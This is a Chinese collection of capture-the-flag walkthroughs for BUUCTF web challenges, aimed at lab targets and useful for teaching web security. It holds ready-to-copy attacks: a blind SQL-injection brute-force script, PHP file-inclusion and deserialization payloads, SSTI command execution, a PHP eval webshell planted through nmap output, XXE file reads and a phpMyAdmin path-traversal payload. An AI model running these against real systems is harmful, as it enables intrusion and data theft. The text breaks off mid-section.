BUUCTF-WEB详细解题攻略第二页(按解出数降序排序)

目录

[CISCN2019 华北赛区 Day2 Web1]Hack World

[BSidesCF 2020] Had a bad day

[网鼎杯 2020 朱雀组] phpweb

[BJDCTF2020] The mystery of ip

[BJDCTF2020] ZJCTF,不过如此

[网鼎杯 2018]Fakebook

【BUUCTF】Online Tool

【GXYCTF2019】禁止套娃

【NCTF2019】Fake XML cookbook

【GWCTF 2019】我有一个数据库

【BJDCTF2020】Mark loves cat

【WUSTCTF2020】朴实无华

【BJDCF2020】Cookie is so stable

【MRCTF2020】Ezpop

【MRCTF2020】PYWebsite

[安洵杯 2019]easy_web

[WesternCTF2018] shrine

[安洵杯 2019] easy_serialize_php

[BSidesCF 2019] Kookie

[网鼎杯 2020 朱雀组] Nmap 解题笔记

[NPUCTF2020] ReadlezPHP 解题笔记

[CISCN2019 华东南赛区] Web11 解题笔记

[强网杯 2019] 高明的黑客

[ASIS 2019] Unicorn shop

[SWPU2019]Web1

[BSidesCF 2019] Futurella 解题笔记

[极客大挑战 2019]FinalSQL

[CISCN 2019 初赛] Love Math

[极客大挑战 2019]RCE ME

[De1CTF 2019]SSRF Me

[BJDCTF2020] EasySearch 1 解题笔记

[WUSTCTF2020] 颜值成绩查询


[CISCN2019 华北赛区 Day2 Web1]Hack World


步骤1:启动靶机并测试页面功能

  1. 点击BUUCTF页面中的启动靶机按钮

  2. 复制生成的靶机地址(格式如http://node4.buuoj.cn:28080/

  3. 在浏览器中访问该地址

页面功能测试

  • 输入1提交 → 返回:Hello, glzjin wants a girlfriend.

  • 输入2提交 → 返回:Hello, glzjin wants a girlfriend too.

  • 输入3提交 → 返回:Error Occured When Fetch Result.

  • 输入1'提交 → 返回:bool(false)

原理说明

页面通过id参数查询数据库,不同的id值返回不同结果。输入单引号触发了SQL注入检测,说明存在SQL注入漏洞,且SQL语句使用单引号闭合。


步骤2:确认SQL注入点与注入类型

测试注入类型

这道题没有直接的数据库内容回显,只有两种有效返回结果(正常/错误),因此属于布尔盲注。布尔盲注的核心是:构造条件语句,根据页面返回结果判断条件是否成立。


步骤3:测试过滤规则并找到绕过方法

过滤测试

依次输入以下内容测试过滤规则:

  • 1 and 1=1 → 返回SQL Injection Checked.(空格和and被过滤)

  • 1or1=1 → 返回SQL Injection Checked.or被过滤)

  • 1 union select 1 → 返回SQL Injection Checked.unionselect被过滤)

  • if(1=1,1,2) → 返回正常结果(if函数和=未被过滤)

关键绕过方法

这道题的过滤规则是过滤单独的关键字,但关键字后紧跟括号时不会被过滤。例如:

  • select会被过滤,但select(flag)不会被过滤

  • from会被过滤,但from(flag)不会被过滤

因此我们可以使用select(字段)from(表名)的格式绕过关键字过滤。


步骤4:构造布尔盲注Payload

核心Payload格式

if((select(substr(flag,{位置},1))from(flag))='{字符}',1,2)

Payload原理

  1. if(条件, 真结果, 假结果):SQL中的条件函数,如果条件成立返回真结果,否则返回假结果

  2. select(substr(flag,{位置},1))from(flag):从flag表的flag字段中截取第{位置}位的1个字符

  3. 如果截取的字符等于{字符},则返回1,页面显示Hello, glzjin wants a girlfriend.

  4. 如果不相等,则返回2,页面显示Hello, glzjin wants a girlfriend too.

测试Payload有效性

输入if((select(substr(flag,1,1))from(flag))='f',1,2)提交,返回正常结果,说明Flag的第一个字符确实是f,Payload有效。


步骤5:编写Python脚本自动化爆破Flag

前置准备

安装requests库:

pip install requests

完整爆破脚本

注意:当某个字段爆破失败需要将已经得到的前n位+手动加的'-'填入脚本相应位置再进行爆破。

import requests
import time
​
# 只改这里的靶机地址
url = "http://6137c7e9-08b9-4f5a-9318-ff4d20ed4f57.node5.buuoj.cn:81/"
​
# 🔥 把你已经得到的前n位+手动加的'-'填在这里
# 例如:flag = "flag{1234567890ab-"
flag = "flag{73ac7cab-61ed-494b-be4f-"
​
# 🔥 把'-'移到最前面,优先测试横杠,避免卡壳
charset = "-flag{}0123456789abcdef"
​
print("=" * 50)
print("🚀 继续爆破,已优化横杠检测")
print(f"📝 当前已获取:{flag}")
print("=" * 50)
print()
​
# 从当前长度+1开始
for pos in range(len(flag) + 1, 50):
    print(f"🔍 正在爆破第{pos}位...")
​
    while True:
        found = False
        for char in charset:
            payload = f"if((select(substr(flag,{pos},1))from(flag))='{char}',1,2)"
​
            # 增加重试次数和间隔
            for _ in range(5):
                try:
                    r = requests.post(url, data={"id": payload}, timeout=15)
                    break
                except:
                    time.sleep(2)
            else:
                continue
​
            if "Hello" in r.text:
                flag += char
                print(f"✅ 第{pos}位:{char}")
                print(f"📌 当前Flag:{flag}")
                print()
                found = True
                break
​
        if found:
            break
        else:
            print(f"⚠️  第{pos}位暂时没找到,休息5秒后重试...")
            time.sleep(5)
​
    if flag.endswith('}'):
        break
​
    # 增加每个字符后的延迟
    time.sleep(1)
​
print("=" * 50)
print("🎉 爆破完成!")
print(f"🏆 最终Flag:{flag}")
print("=" * 50)

脚本原理

  1. 遍历Flag的每个字符位置(从1开始)

  2. 对每个位置,遍历字符集中的所有可能字符

  3. 构造Payload并发送请求,根据页面返回结果判断字符是否正确

  4. 将正确的字符拼接成完整的Flag

[BSidesCF 2020] Had a bad day

考点:PHP 文件包含漏洞、php://filter伪协议、路径插入绕过

难度:入门级(反套路,容易踩坑)


一、完整解题流程

步骤 1:启动靶机并发现漏洞

  1. 启动靶机,访问靶机地址,看到一个展示动物图片的页面

  2. 观察 URL 结构:http://xxx/index.php?category=animals

  3. 点击页面上的 "WOOFERS" 和 "MEOWERS" 按钮,URL 分别变为:

    • ?category=woofers

    • ?category=meowers

  4. 确认category参数是文件包含点,后端会自动包含{参数}.php文件

步骤 2:测试并发现真实过滤规则

  1. 尝试输入任意字符串:?category=test

  2. 页面返回提示:Sorry, we currently only support woofers and meowers.

    3.得出结论:参数必须包含woofersmeowersindex中的一个(白名单过滤)

步骤 3:构造绕过 Payload 读取源码

利用php://filter伪协议的特性:路径中可以插入任意目录名,会被自动忽略

?category=php://filter/convert.base64-encode/index/resource=index
  • 在伪协议中间插入/index/,满足 "必须包含 index" 的过滤条件

  • 成功获取index.php的 base64 编码源码

步骤 4:读取 flag.php 获取 Flag

?category=php://filter/convert.base64-encode/index/resource=flag
  • 将得到的 base64 字符串解码,即可看到完整 Flag:flag{be6c140f-a113-4790-93e3-c6f2be02084c}


二、核心原理详解

1. 后端真实过滤代码

<?php
$file = $_GET['category'];
if(isset($file))
{
    // 核心过滤:必须包含三个字符串中的一个
    if( strpos( $file, "woofers" ) !==  false 
        || strpos( $file, "meowers" ) !==  false 
        || strpos( $file, "index") !== false ){
        include ($file . '.php'); // 自动添加.php后缀
    }
    else{
        echo "Sorry, we currently only support woofers and meowers.";
    }
}
?>

2. 绕过原理

  • php://filter伪协议的路径解析非常灵活,中间的任意目录名都会被忽略

  • php://filter/convert.base64-encode/index/resource=flag

  • 等价于:php://filter/convert.base64-encode/resource=flag

  • 但同时满足了 "参数中包含 index" 的过滤条件

[网鼎杯 2020 朱雀组] phpweb

一、基础信息

  1. 页面参数func(函数名)、p(函数参数)

  2. 传参方式$_REQUEST 接收,GET/POST 都支持(直接浏览器地址栏传参即可)

  3. 核心功能:后端调用 gettime(函数, 参数) 执行用户传入的函数


二、详细解题步骤

步骤 1:读取源码

Payload

?func=file_get_contents&p=index.php

步骤 2:构造反序列化 Payload

本地生成 Test 类序列化字符串,执行命令读取 flag

<?php
class Test{
    var $p;
    var $func;
}
$a = new Test();
$a->func = "system";
$a->p = "cat /tmp/flagoefiu4r93";
echo serialize($a);
?>

生成结果:

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

步骤 3:执行 Payload,获取 Flag

最终可用 Payload(直接复制到地址栏)

?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

步骤 4:执行结果

页面直接输出 Flag:flag{eed27067-6ce4-4f00-a4a4-fba7015e6579}

[BJDCTF2020] The mystery of ip

一、题目核心分析

访问靶机页面,显示 Your IP is : 192.168.122.15,可得出两个关键结论:

  1. 页面显示的 IP 不是真实访问 IP,而是从请求头中读取的。

  2. 这类题通常通过 X-Forwarded-For 请求头伪造 IP,服务器会解析该请求头的内容并输出到页面。


二、步骤 1:抓包验证 IP 可控

  1. 打开 Burp Suite,开启 Intercept 拦截(显示 “Intercept is on”),浏览器代理指向 Burp(默认 127.0.0.1:8080)。

  2. 浏览器访问靶机地址,请求会被 Burp 拦截。

  3. 在请求头中添加 X-Forwarded-For: 123,点击 Forward 放包,页面 IP 变为 123,确认 IP 由该请求头控制。


三、步骤 2:验证 SSTI 模板注入漏洞

Smarty 模板的特点是可以解析 {表达式} 格式的语法,直接在页面执行计算 / 命令:

  1. 再次抓包,修改请求头为:

    X-Forwarded-For: {7*7}
  2. 放包后,页面 IP 变为 49,证明服务器解析了模板语法,存在 SSTI 注入漏洞。


四、步骤 3:构造 Payload 并执行

1. 最终 Payload

X-Forwarded-For: {system('cat /flag')}

2. 完整请求包参考

GET /flag.php HTTP/1.1
Host: node5.buuoj.cn:29560
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.buuoj.cn:29560/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
X-Forwarded-For: {system('cat /flag')}
​
(这里是空行,分隔请求头和请求体,不要删除!)

五、步骤 4:放包获取 Flag

  1. 确认请求头修改正确后,点击 Burp 的 Forward 按钮放行请求。

  2. 浏览器页面会显示执行结果,Flag 会出现在 IP 显示的位置;如果浏览器有缓存,可以按 Ctrl+Shift+R 强制刷新,或者直接在 Burp 的 Response 标签页查看服务器返回的完整内容。

[BJDCTF2020] ZJCTF,不过如此

一、题目核心逻辑拆解(主页面源码)

启动靶机后,主页面的 PHP 核心代码如下:

<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1><br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
    include($file);  //关键漏洞点:文件包含
}
else{
    highlight_file(__FILE__);
}
?>

三个关键规则(必须全部满足)

  1. text 参数校验file_get_contents($text) 读取的内容必须等于字符串 I have a dream,否则不会进入文件包含逻辑。

  2. file 参数过滤$file 中不能包含 flag 字符串,否则直接退出(所以不能直接包含 flag 文件)。

  3. 文件包含漏洞:满足条件后,会执行 include($file),我们需要利用它包含 next.php 来拿到后续的漏洞点。


二、步骤 1:绕过 text 参数校验(用 data:// 伪协议)

问题:怎么让file_get_contents($text)等于I have a dream

直接传字符串不行,因为file_get_contents默认是读文件路径,所以用 data://伪协议 ,直接在 URL 里嵌入数据,让file_get_contents读取我们传入的内容。

Payload:

?text=data://text/plain,I have a dream
  • data://text/plain,:伪协议前缀,表示后面的内容是纯文本数据

  • I have a dream:我们要传入的内容,刚好满足校验条件

效果:页面会输出<h1>I have a dream</h1>,证明 text 条件通过了。


三、步骤 2:读取 next.php 的源码(用 php://filter 伪协议)

问题:直接include(next.php)只会执行代码,看不到源码怎么办?

php://filter伪协议 ,把 next.php 的源码转成 base64 编码输出,解码后就能拿到完整源码。

Payload:

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
  • php://filter/read=convert.base64-encode/resource=next.php:读取 next.php 的源码,转成 base64 输出

  • 解码后得到next.php的核心代码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
​
function complex($re, $str) {
    // preg_replace的/e模式:会把替换后的内容当作PHP代码执行
    return preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
}
​
// 关键循环:遍历所有GET参数,参数名作为正则$re,参数值作为字符串$str
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
​
function getFlag(){
    @eval($_GET['cmd']); // 命令执行点:eval($_GET['cmd'])
}
?>

四、步骤 3:触发 preg_replace/e 模式漏洞,执行命令

漏洞原理

preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str) 中的 /e 模式,是 PHP 的危险特性:

  1. $re:正则表达式(来自 GET 参数的参数名

  2. $str:要匹配的字符串(来自 GET 参数的参数值

  3. $re匹配到$str时,会用strtolower("\\1")替换匹配到的内容,\\1会引用正则捕获的分组内容,被当作 PHP 代码执行

触发方式:用匹配任意字符的正则作为参数名

我们需要让$re能匹配到$str(也就是${getFlag()}),所以用\S*(匹配任意非空白字符)作为参数名,这样正则/\S*/ei就能匹配整个字符串,触发替换。

最终完整 Payload:

?text=data://text/plain,I have a dream&file=next.php&cmd=system('cat /flag');&\S*=${getFlag()}

每个参数的作用:

  1. text=data://text/plain,I have a dream:过主页面的 text 校验

  2. file=next.php:包含 next.php,执行里面的代码

  3. cmd=system('cat /flag'):给eval传入要执行的命令,读取 flag 文件

  4. &\S*=${getFlag()}

    :触发 preg_replace/e 模式

    • 参数名\S*:正则/\S*/ei,匹配任意非空白字符

    • 参数值${getFlag()}:被正则匹配后,会被strtolower("\\1")解析为 PHP 代码,调用getFlag()函数,进而执行eval($_GET['cmd'])

[网鼎杯 2018]Fakebook

打开靶场,看到注册登录界面

用dirsearch目录爆破,发现这个文件,尝试访问

看到这个文件,访问下载

打开文件看一下

注意到get方法里面存在curl_exec(),可能这道题为ssrf漏洞利用

也注意到isValidBlog()方法的正则匹配,判断出传入的blog参数值必须为url形式

建一个账号

进入账号,发现no参数

尝试sql注入

由于注意到bak文件中,age被强转为int,所以这边采用数字型注入方法,报错,但是显示出了view.php的路径,由此可以判断flag.php的路径为 /var/www/html/flag.php

?no=1 and 1=1回显正常,判断存在sql注入

order by判断字段数

试的5报错

试的4回显正常 所以字段数为4

union联合查询

?no=1 union select 1,2,3,database()

显示no hack_,判断存在字段过滤

select没被过滤

union也没被过滤

union和select均没有被过滤,但是两个加在一起就被过滤,由此可以判断union select被过滤,这边采用/\**/注释绕过

?no=-1 union/**/select 1,2,3,4

成功绕过,看到username回显正常,判断username为回显位置,为2

查询当前数据库

?no=-1 union/**/select 1,database(),3,4

库名为fakebook

爆库

?no=-1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata

fakebook就是我们要的库,爆表

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

爆字段

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"

查数据

?no=-1 union/**/select 1,concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users

注意到data字段里面的数据为刚刚我们join的数据的序列化形式

构造payload时这边改成file:///var/www/html/flag.php要更改长度为29

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

访问变正常,查看源代码得到一个base64编码,复制

进行解码得到flag

【BUUCTF】Online Tool

一、基础信息

  • 题目:Online Tool

  • 核心原理:绕过滤 → 用 nmap 写木马文件 → 蚁剑连接拿 flag

  • 我们用到 nmap 的一个写文件功能,直接复制 Payload 即可

二、完整操作步骤

步骤 1:启动靶机,获取网址

  1. 打开题目页面,点击 启动靶机

  2. 访问靶机地址(格式:http://xxxx.buuoj.cn:81/

步骤 2:写入木马文件

  1. 把下面的 Payload 拼接到你的靶机网址后面

  2. 完整访问地址(直接复制,替换成你的靶机地址):

http://你的靶机地址/?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
  1. 访问后,页面会显示一行文字:

    you are in sandbox xxxxxxxxxxxxxxxxxxxx
  • 中间这串 乱码一样的字符串 是目录名,复制保存好

步骤 3:找到木马文件的访问地址

拼接规则:

你的靶机地址/复制的目录名/hack.php

示例:

http://xxxx.buuoj.cn:80/1a2b3c4d5e6f7g8h9i0j/hack.php
  • 访问这个地址,页面空白 = 写入成功!

步骤 4:打开蚁剑,连接木马

  1. 打开蚁剑 → 空白处右键 → 添加数据

  2. 填写配置:

    • URL 地址:粘贴步骤 3 的木马地址

    • 连接密码:填 hack

    • 其他全部默认,不用改

  3. 点击 测试连接 → 显示 连接成功 → 点添加

步骤 5:蚁剑内读取 flag

  • 连接成功后,蚁剑会列出sandbox目录下的文件,双击进入文件管理器。

  • 可以直接在蚁剑的终端中执行命令:

cat /flag
  • 或在文件浏览器中,找到根目录下的flag文件,双击查看内容。

【GXYCTF2019】禁止套娃


一、题目基础信息

  • 题目:[GXYCTF2019]禁止套娃

  • 考点:Git 源码泄露、无参数 RCE(PHP 无参数函数递归)、正则过滤绕过

  • 核心目标:通过 Git 泄露还原源码,构造无参数 Payload 绕过过滤,读取flag.php文件获取 flag


二、解题流程总览

  1. 目录扫描:使用dirsearch发现.git目录泄露

  2. 源码还原:通过GitHack工具还原网站源码,获取index.php

  3. 源码审计:分析过滤规则,构造无参数 RCE Payload

  4. 执行 Payload:读取flag.php,获取 flag


三、步骤详解(附命令与原理)

步骤 1:目录扫描,发现 Git 泄露

操作命令

python dirsearch.py -u 靶机地址 -i 200 -x 403,404 --delay=0.1

关键输出

[10:15:16] 200 - 41B - /.git/refs/heads/master

说明:.git目录可访问,存在源码泄露风险。


步骤 2:使用 GitHack 还原源码

操作命令(Windows 系统)

# 切换到D盘
D:
# 进入GitHack目录
cd D:\githack\GitHack-master
# 还原源码
python GitHack.py http://靶机地址/.git/

执行结果

  • 生成以靶机域名命名的文件夹,包含还原的index.php文件

  • 核心源码如下:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                @eval($_GET['exp']);
            } else die("还差一点哦!");
        } else die("再好好想想!");
    } else die("还想读flag,臭弟弟!");
}
// highlight_file(__FILE__);
?>

步骤 3:过滤规则分析

  1. 伪协议过滤:禁止使用data:///filter:///php:///phar://,伪协议读文件失效

  2. 无参数嵌套限制:仅允许func1(func2(func3()));形式的无参数递归函数调用

  3. 关键字黑名单:过滤et|na|info|dec|bin|hex|oct|pi|log,部分函数无法直接使用


步骤 4:无参数 RCE Payload 构造与执行

最终 Payload(直接可用)

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

Payload 逐层解析

函数作用
localeconv()返回本地格式化数组,第一个元素为.(当前目录)
current()取出数组第一个元素(.,指向当前目录)
scandir()扫描当前目录,返回文件列表(./../.git/flag.php/index.php
array_reverse()反转数组,将flag.php移至数组第二位
next()数组指针后移一位,指向flag.php
show_source()读取并高亮flag.php源码,输出 flag

执行结果

页面输出flag.php内容:

<?php
$flag = "flag{68cb25b7-6e69-4b9b-bf69-cdb46bb6dbaa}";
?>

四、关键工具与命令汇总

工具用途命令
dirsearch目录扫描python3 dirsearch.py -u 靶机地址 -i 200 -x 403,404 --delay=0.1
GitHack还原 Git 泄露源码python GitHack.py http://靶机地址/.git/

【NCTF2019】Fake XML cookbook


一、题目基础信息

  • 题目名称:[NCTF2019]Fake XML cookbook

  • 考点:XML 外部实体注入(XXE)、有回显 XXE 读取本地文件

  • 标签:Web 安全、XXE 漏洞、文件读取

  • 核心目标:利用 XML 实体注入漏洞,读取服务器上的/flag文件获取 flag


二、漏洞原理(通俗拆解)

1. 什么是 XXE 漏洞?

  • XXE 全称XML External Entity Injection(XML 外部实体注入),发生在程序解析 XML 输入时,没有禁止外部实体加载,导致攻击者可以构造恶意 XML,读取服务器本地文件、执行命令或发起内网请求。

  • 触发条件:程序接收 XML 格式的输入,且使用的 XML 解析器(如libxml2低版本)默认开启外部实体解析。

2. 本题利用场景:有回显 XXE

  • 题目登录接口接收 XML 格式的账号密码,且会将 XML 解析结果直接回显在页面上,属于有回显 XXE,可以直接读取文件内容并看到结果。

  • 关键限制:本题 PHP 环境的libxml版本存在 XXE 漏洞,允许使用file://协议读取本地文件。


三、详细解题步骤(按顺序操作)

步骤 1:启动靶机,抓包分析请求

  1. 点击题目界面的「启动靶机」,获取靶机地址。

  2. 打开登录页面,输入任意账号密码(如admin/123456),点击登录,用 Burp Suite 抓包。

  3. 抓包结果显示,请求体为 XML 格式:

    <user>
        <username>admin</username>
        <password>123456</password>
    </user>

    说明程序接收 XML 输入,存在 XXE 注入风险。

步骤 2:构造恶意 XML Payload,读取文件

核心 Payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
    <!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user>
    <username>&admin;</username>
    <password>123456</password>
</user>

Payload 解析(关键细节)

  • <?xml version="1.0" encoding="utf-8"?>:XML 文档声明,必须放在开头,声明版本和编码。

  • <!DOCTYPE note [...]>:定义 XML 文档的 DTD(文档类型定义),用于声明实体。

  • <!ENTITY admin SYSTEM "file:///etc/passwd">:声明外部实体admin,指向本地文件/etc/passwd

  • <username>&admin;</username>:引用外部实体admin,解析时会被替换为文件内容,实现文件读取。

步骤 3:验证漏洞,读取系统文件

  1. 将构造的 XML 替换抓包请求中的原 XML,发送请求。

  2. 响应结果中会输出/etc/passwd的内容,说明 XXE 漏洞生效。

**步骤 4:读取目标文件/flag**

最终 Payload(读取根目录 flag)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
    <!ENTITY admin SYSTEM "file:///flag">
]>
<user>
    <username>&admin;</username>
    <password>123456</password>
</user>

  1. 替换 XML 并发送请求,响应中会直接输出/flag的内容,格式为flag{xxxxxx}

  2. 复制 flag,提交即可通关。

【GWCTF 2019】我有一个数据库


一、题目信息

  • 题目:[GWCTF 2019]我有一个数据库

  • 考点:phpMyAdmin 4.8.1 远程文件包含漏洞

  • 核心目标:利用target参数路径穿越漏洞,读取服务器根目录的/flag文件


二、解题步骤(正确流程)

步骤 1:目录扫描,发现phpMyAdmin入口

使用dirsearch扫描靶机目录,命令:

python dirsearch.py -u 靶机地址 -i 200 -x 403,404 --delay=0.5

扫描结果中出现/phpmyadmin目录,说明存在phpMyAdmin管理工具,访问后确认版本为4.8.1

步骤 2:漏洞原理

phpMyAdmin 4.8.0-4.8.1/phpmyadmin/db_sql.php中,target参数存在路径穿越与白名单绕过漏洞:

  • 两次 URL 解码逻辑可绕过白名单校验

  • 结合路径穿越,可通过../跳转到服务器根目录,读取任意文件


步骤 3:构造 Payload,读取文件

验证漏洞(读取/etc/passwd

http://靶机地址/phpmyadmin/?target=db_sql.php%3f../../../../../../../../etc/passwd

页面输出系统用户列表,说明漏洞可用。

读取最终 flag(核心 Payload)

http://靶机地址/phpmyadmin/?target=db_sql.php%3f../../../../../../../../flag

页面直接输出flag{xxxxxx}格式的内容,复制提交即可通关。


三、关键说明

  • 路径中必须使用%3f(URL 编码的?),用于绕过白名单校验

  • ../数量需足够(一般 8-10 个),确保能跳转到服务器根目录

  • phpMyAdmin 4.8.0-4.8.1存在该漏洞,其他版本无法利用

【BJDCTF2020】Mark loves cat


一、题目信息

  • 题目:[BJDCTF2020]Mark loves cat

  • 考点:Git 源码泄露、PHP 变量覆盖漏洞

  • 核心目标:通过 Git 泄露还原源码,利用变量覆盖漏洞触发exit()输出flag


二、解题步骤

步骤 1:目录扫描,发现 Git 泄露

使用dirsearch扫描靶机目录:

python dirsearch.py -u 靶机地址 -i 200 -x 403,404 --delay=0.5

扫描结果中出现/.git目录,说明存在 Git 源码泄露。


步骤 2:还原源码,审计代码

使用GitHack还原源码:

python GitHack.py http://靶机地址/.git/

还原得到index.php,关键代码如下:

<?php
include 'flag.php';
​
$yds = "dog";
$is = "cat";
$handsome = 'yds';
​
foreach($_POST as $x => $y){
    $$x = $y;
}
​
foreach($_GET as $x => $y){
    $$x = $y;
}
​
if(isset($_GET['flag']) && $_GET['flag'] != 'flag'){
    exit($handsome);
}
​
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
​
if($_POST['flag'] == 'flag' || $_GET['flag'] == 'flag'){
    exit($is);
}

步骤 3:构造 Payload,利用变量覆盖获取 flag

方法 1:覆盖$handsome变量

  • 原理:让$_GET['flag']等于一个存在的变量名(如a),同时让$handsome被覆盖为flag

  • Payload:

?handsome=flag&a=flag&flag=a

方法 2:覆盖$yds变量

  • 原理:让$_GET['flag']$_POST['flag']都不存在,直接覆盖$ydsflag

  • Payload:

?yds=flag

方法 3:覆盖$is变量

  • 原理:让$_GET['flag']$_POST['flag']等于flag,同时覆盖$isflag

  • Payload:

?is=flag&flag=flag

三、关键说明

  1. 变量覆盖漏洞:代码中的foreach($_GET as $x => $y){ $$x = $y; }会将 GET 参数的键值对作为变量名和值直接覆盖,例如?handsome=flag会让$handsome = 'flag'

  2. exit()输出:三个分支的exit()会直接输出变量内容,只要将对应的变量覆盖为flag即可触发输出

  3. 三种方法均有效,其中方法 2 的?yds=flag最为简洁直接


本题最简 Payload:

?yds=flag

成功还原源码了!接下来直接用变量覆盖漏洞拿 flag 就行。


当前状态说明

已经用 GitHack 成功还原了源码,关键文件都拿到了:

  • index.php:核心代码,存在变量覆盖漏洞

  • flag.php:包含 flag 的文件,通过include引入


下一步:直接用最简 Payload 拿 flag

这道题的核心是利用foreach($_GET as $x => $y){ $$x = $y; }的变量覆盖漏洞,直接覆盖$yds变量就能触发exit()输出 flag。

最简 Payload(直接复制使用)

?yds=flag

操作步骤

  1. 把 Payload 拼接到你的靶机地址后面:

    http://你的靶机地址/?yds=flag
  2. 访问后,源代码最后会直接输出flag{xxxxxx}格式的内容,复制提交即可通关。

【WUSTCTF2020】朴实无华


一、基础信息

  • 题目[WUSTCTF2020]朴实无华

  • 考点

    1. robots.txt 泄露

    2. PHP 弱类型比较绕过

    3. MD5 0e 科学计数法碰撞

    4. 命令执行过滤绕过(空格、关键字)

  • 解题方式:GET 传参,三层绕过 → 执行命令读取 flag


二、完整解题流程(一步一步详细版)

步骤 1:找到真实题目页面

  1. 访问靶机首页,无有效信息。

  2. 访问

    /robots.txt

    ,发现提示:

    Disallow: /fake_flagggg.php
  3. 访问 fake_flagggg.php,得到假 flag。

  4. 抓包查看响应头,发现真实题目页面:fl4g.php


步骤 2:第一层绕过 —— intval 弱类型

代码逻辑

if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != 2020 && intval($num + 1) > 2021) {
        // 通过第一层
    } else {
        die("nope");
    }
}

要求

  1. num 不能等于 2020

  2. intval($num + 1) 必须 > 2021

绕过原理

PHP intval() 解析 科学计数法

  • 1e4 = 10000

  • 1e4 +1 = 10001

  • intval(10001) = 10001 > 2021

  • 1e4 != 2020

第一层 Payload

/fl4g?num=1e4

步骤 3:第二层绕过 —— MD5 0e 碰撞

代码逻辑

if (isset($_GET['md5'])) {
    if (md5($md5) == '0e291242476940776845150308577824') {
        // 通过第二层
    } else {
        die("nope");
    }
}

绕过原理

PHP 弱类型 == 比较:

  • 只要 MD5 值以 0e 开头,都会被当作数字 0

  • 0 == 0 → 判定为相等

可用 MD5 字符串

0e215962017

第二层 Payload

/fl4g?num=1e4&md5=0e215962017

步骤 4:第三层绕过 —— 命令执行过滤

代码逻辑

if (isset($_GET['flag'])) {
    if (!strstr($get_flag, " ")) {
        $get_flag = str_ireplace("cat", "", $get_flag);
        system($get_flag);
    } else {
        die("nope");
    }
}

过滤规则

  1. 禁止空格

  2. 过滤 cat(替换为空)

绕过方法

  1. 空格绕过:用 %09(tab 制表符)

  2. cat 绕过:用 tac(反向输出,效果一样)

  3. 文件路径/f* 通配符匹配 /flag

最终命令

tac%09f*

三、最终完整 Payload

/fl4g.php?num=1e4&md5=0e215962017&get_flag=tac%09f*

直接访问即可输出 flag!

【BJDCF2020】Cookie is so stable


一、题目基础信息

  • 题目:[BJDCF2020]Cookie is so stable

  • 考点:Twig 模板注入(SSTI,服务器端模板注入)、Cookie 参数可控注入

  • 核心目标:利用 Cookie 中user参数的模板注入漏洞,绕过直接函数调用限制,读取服务器/flag文件


二、完整解题流程

步骤 1:查看源码提示,定位关键方向

访问靶机首页,按F12查看页面源码,发现关键注释提示:

<!-- Why not take a closer look at cookies? -->

这是题目明确的引导,说明Cookie 中存在用户可控的注入点,后续解题需要重点关注 Cookie 参数。


步骤 2:初始抓包分析,未发现异常

用 Burp Suite 抓初始页面的请求,发现只有PHPSESSID会话 Cookie,没有其他可控参数;尝试 SQL 注入、直接命令执行等常规方法,均无效果,暂时卡住。


步骤 3:登录流程,发现 Cookie 中的user参数

  1. 访问登录页面,输入任意 ID(如123)提交,触发登录流程。

  2. 抓包发现,登录后的请求中,Cookie 新增了一个用户可控参数:user=123

  3. 登录成功后,页面显示Hello 123,说明user参数的值被后端直接渲染到了页面中,存在模板注入风险。


步骤 4:验证 Twig 模板注入,发现直接调用被拦截

验证注入类型:

修改 Cookie 中的user值为 Twig 模板的特征表达式:

Cookie: user={{7*7}}

发送请求后,页面返回49,确认后端使用Twig 模板引擎(若为 Jinja2 模板,会返回7777777,可用于区分)。

尝试直接调用命令(踩坑):

直接使用危险函数执行命令:

Cookie: user={{system('cat /flag')}}

页面返回What do you want to do?!,说明题目对直接调用system()/exec()等危险函数做了过滤,无法直接执行命令,需要寻找绕过方法。

步骤 5:构造 Twig 回调注入 Payload

原理详解:

Twig 模板引擎提供了registerUndefinedFilterCallback函数,作用是:

  • 注册一个回调函数,当调用不存在的过滤器时,自动执行该回调函数,并将 “过滤器名” 作为参数传入。

